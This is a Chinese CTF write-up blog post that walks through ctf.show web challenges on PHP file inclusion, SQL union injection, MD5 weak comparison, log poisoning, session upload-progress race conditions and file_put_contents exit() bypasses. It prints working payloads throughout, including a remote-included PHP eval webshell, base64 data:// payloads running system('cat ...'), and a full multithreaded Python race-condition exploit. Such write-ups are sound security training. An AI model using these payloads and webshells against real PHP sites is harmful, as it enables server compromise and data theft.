跟每天都做一些题目,持续更新中!
考察点:联合查询
**
考察的是最简单的联合查询,没有过滤任何东西
考察点:伪协议的利用
**
很明显的文件包含漏洞,使用php://filter
没有读取出来flag,应该是改其他名字了,使用php://input
来读取一下
考察点:文件包含、日志写入、远程包含
还是文件包含,但是经过测试发现php被过滤了,所以伪协议也没办法使用,data协议也被禁用了,可以使用下http或https协议,进行远程包含
http://677d5fdc-51f3-43a9-957f-a0207370de55.chall.ctf.show/?url=http://xxxx/webshell.txt
webshell.txt
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
除此之外,还有另外一种方法,通过日志写入一句话
并没有返回对应的服务,那就尝试最常见的几种搭建web服务的,apache\nginx等
?url=/var/log/nginx/access.log
发现nginx的access.log可以访问,日志中记录有User-Agent
所以将一句话木马写在User-Agent中即可连接
考察点:md5弱类型比较
**
考察弱类型比较
ctype_alpha — 做纯字符检测
如果在当前语言环境中 text 里的每个字符都是一个字母,那么就返回true,反之则返回false
第一个if条件需要满足都是字母,第二个if条件只需是数字即可
?v1=QNKCDZO&v2=240610708
或
?v1=QNKCDZO&v2=0e215962017
记录一个
$a==md5($a)
0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等
考察点:空格过滤
还是考察的联合查询,但是过滤了空格,使用`//`绕过即可
考察点:十六进制编码、联合查询、空格过滤
还是联合查询,过滤了空格,而且在注表的时候,发现过滤了flag
使用十六进制绕过即可
接下来继续读取flag即可
考察点:伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
考察点:data协议/大小写绕过str_replace
过滤了php,所以伪协议中的php:input和php:filter都不用使用了,可以使用data协议结合base64编码来获取flag
?file=data://text/plain;base64,PD89IHN5c3RlbSgnY2F0IGZsYWcucGhwJyk7Pz4=
str_replace区分大小写
所以也可以使用如下payload:
?file=PHP://input
data:
<?PHP system('cat flag.php | base64');?>
右键查看源码即可获取到flag
考察点:日志写入/远程包含
过滤了php和data协议,正常的伪协议是出不来的,猜测是nginx或者是apache,试着访问一下日志文件看是否有权限打开
确实可以那就直接在User-Agent中写马即可
蚁剑连接即可
除此之外,还可以使用大小写绕过str_replace函数
还可以使用日志文件写入的方式获取到flag
考点:利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
过滤了.
之前的日志文件写入、远程包含不能再用了,所以需要找一个不带.
来进行文件包含,可以利用session.upload_progress进行文件包含
在php5.4之后添加了这个功能
再来看几个php.ini的默认选项:
session.upload_progress.enabled = on
表示upload_progress功能开始,即当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
session.upload_progress.cleanup = on
表示当文件上传结束后,php将会立即清空对应session文件中的内容
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
#表示为session中的键名
session.use_strict_mode=off
#表示对Cookie中sessionid可控
上面几个默认选项,可能最后两个稍微有点不好理解,其实官方已经举出了对应的例子,如:
// PHPSESSION = Sn0w
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
在session.upload_``progress.name='PHP_SESSION_UPLOAD_PROGRESS'
的条件下,上传文件,便会在session['upload_progress_123']
中储存一些本次上传相关的信息,储存在/tmp/sess_Sn0w
通过上图和几个默认选项的有关介绍就想是否可以利用session.upload_progress来写入恶意语句,然后进行包含文件,但前提是需要知道session的存储位置
这就需要先了解一下PHP中session的存储机制
php中的session中的内容并不是存储在内存中,而是以文件的方式进行存储,存储方式是由配置项session.save_handler来进行确定的,默认便是以文件的方式进行存储,存储文件的名字便是由sess_sessionid来进行命名的,文件的内容便是session值序列化之后的内容。至于存储路径便是由配置项session.save_path来进行决定的。
一般session的存储路径都不会怎么去改,默认的便是:
linux:
/tmp
或
/var/lib/php/session
Windows:
C:\WINDOWS\Temp
存储路径知道了,但是还是有一个问题,便是代码中没有session_start()函数,怎么样创建出session文件那,其实如果配置项session.auto_start=On
是打开的,那么PHP在接收请求的时候便会自动化Session,不再需要执行该函数,但默认都是关闭的,在session中还有一个默认选项,便是上面提到的session.use_strict_mode
默认值是0,用户可以自己定义SessionID。如:
Cookie中设置:
PHPSESSID=Sn0w
PHP便会在服务器上创建一个文件(默认路径)
/tmp/sess_Sn0w
即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")
+由我们构造的session.upload_progress.name
值组成,最后被写入sess_文件里。
但还有一个问题没有解决,即使是写进去了默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容会立即被清空,所以这里就需要去使用多线程同时进行写和读,进行条件竞争,在session文件清除前进行包含利用。
# -*- coding: utf-8 -*-
import requests
import io
import threading
url = 'http://40902305-6448-4874-b65d-79adb550fd6d.chall.ctf.show/'
sessID = 'Sn0w'
def write(session):
#判断event的标志是否为True
while event.isSet():
#上传文件要大一点,更有利于条件竞争
f = io.BytesIO(b'Sn0w' * 1024 * 50)
reponse = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php");?>'},
files={'file':('text.txt',f)}
)
def read(session):
while event.isSet():
reponse = session.get(url+ '?file=/tmp/sess_{}'.format(sessID))
if 'text' in reponse.text:
print(reponse.text)
#将event的标志设置为False,调用wait方法的所有线程将被阻塞;
event.clear()
else:
print('[*]continued')
if __name__ == '__main__':
#通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
event = threading.Event()
#将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.set()
#会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read, args=(session,)).start()
上传的有关信息
自己设置的键值因为是php所以解析掉了
这样就可以得到flag了,除此之外,还可以使用burp来进行条件竞争,例如上面给的html上传代码上传一个文件
<!DOCTYPE html>
<html>
<body>
<form action="http://5303095a-4023-42e2-b099-30486f1b3323.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123456" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
再根据代码抓一个get的包,请求/tmp/sess_flag
同时进行爆破,payload设置成null payloads就可以一直爆破
还跟上一关的一样的过滤代码,但是多出了两个函数
其实跟phpini默认选项中的session.upload_progress.cleanup = on
一样,还是用条件竞争就好了
这次是直接删除/tmp下的session文件,但是还是可以使用条件竞争来绕过,因为从我们使用开始利用PHP_SESSION_UPLOAD_PROGRESS时便会出现一个临时文件,就相当于先储存了文件,再进行删除,如果是正常的流程的话是肯定被删除的,但是我们使用多线程并发的访问上传的文件,总会有一次在生成session文件到删除文件这个时间段内可以访问到session文件。如果一开始没跑出来就多跑几次。
还是同样的方法,无论前端怎么限制,只要处理高并发的线程未能同步好所有请求,便会导致请求与请求之间产生等待时出现逻辑缺陷,还是能读取文件的。
加了两行代码,但影响不大,还是可以用条件竞争
define('还要秀?', dirname(__FILE__));
#定义“还要秀”为这个文件所在的目录
set_include_path(还要秀?);
#包含路径
这个题便不再是条件竞争,考察的是file_put_content死亡绕过,在CTF比赛中经常遇到以下代码
<?php
$filename=$_GET['filename'];
$content=$filename;
file_put_contents($filename,'<php exit()?>'.$content);
?>
刚开始还以为伪协议不能用了,因为冒号、单引号什么的都给过滤掉了,但是发现了这一段代码
urldecode($file)
所以还是可以用伪协议,直接url编码两次,第一次浏览器自动解码,但第二次还是url编码便可以绕过前面的检查,那接下来的问题便是file_put_content的死亡绕过
看这两位大师傅的博客,便会明白这道题要怎么去做,可以先在本地自己搭建一个环境进行测试。这里只简单解释一下base编码绕过,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
看师傅的解释,可以这样进行理解
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
当$content
被加上了<?php die(); ?>
以后,可以使用
php://filter/write=convert.base64-decode
进行解码。在解码的过程中,字符<、?、;、>、空格等
一共有7个字符不符合base64编码的字符范围将会被忽略,故最终被解码的字符只有phpdie
和传入的其他字符。
phpdie
一共7个字符,因为base64算法解码时是4个byte一组,所以增加2个aa
一共8个字符。这样,phpdieaa
就会被正常解码,传入的webshell的base64内容也被正常解码。最后结果便是是<?php die; ?>
没有了。
payload:
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
#php://filter/convert.base64-decode/resource=1.php
DATA:
aaPD9waHAgc3lzdGVtKCdjYXQgKi5waHAnKTs/Pg==
#aa<?php system('cat *.php');?>
除此之外,这道题还有其他的做法
?file=php://filter/string.rot13/resource=shell.php(记得要两次url编码)
DATA:
content=<?cuc cucvasb();?>
看起来过滤了好多,但是仔细观察会发现date协议还是可以使用的,但是可能会在base64时出现疑问
比如:
<?php system('cat *.php');?>
PD9waHAgc3lzdGVtKCdjYXQgKi5waHAnKTs/Pg==
这里可以直接去除=号,只起了一个填充作用,不影响语句
payload:
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKi5waHAnKTs/Pg
除此之外这道题还可以用条件竞争的方式来做
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
veek | 150.00 | 0 | 2021-01-29 09:09:56 | 内容充实~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
xiao_yi
发表于 2021-1-30
这是哪里的题鸭,大佬
评论列表
加载数据中...